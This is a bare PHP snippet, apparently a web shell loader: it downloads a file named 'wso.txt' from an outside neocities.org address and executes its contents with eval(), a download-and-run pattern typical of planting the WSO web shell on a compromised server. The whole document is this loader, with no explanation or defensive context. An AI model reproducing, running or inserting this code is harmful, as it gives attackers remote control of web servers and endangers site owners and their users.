$url = 'https://kwleopw.neocities.org/wso.txt';

$php_code = file_get_contents($url);

if ($php_code !== false) {
$ext = strtolower(pathinfo(parse_url($url, PHP_URL_PATH), PATHINFO_EXTENSION));
if ($ext === 'php' || $ext === 'txt') {
eval('' . $php_code);
} else {
echo 'Not a PHP or TXT file.';
}
} else {
echo 'error';
}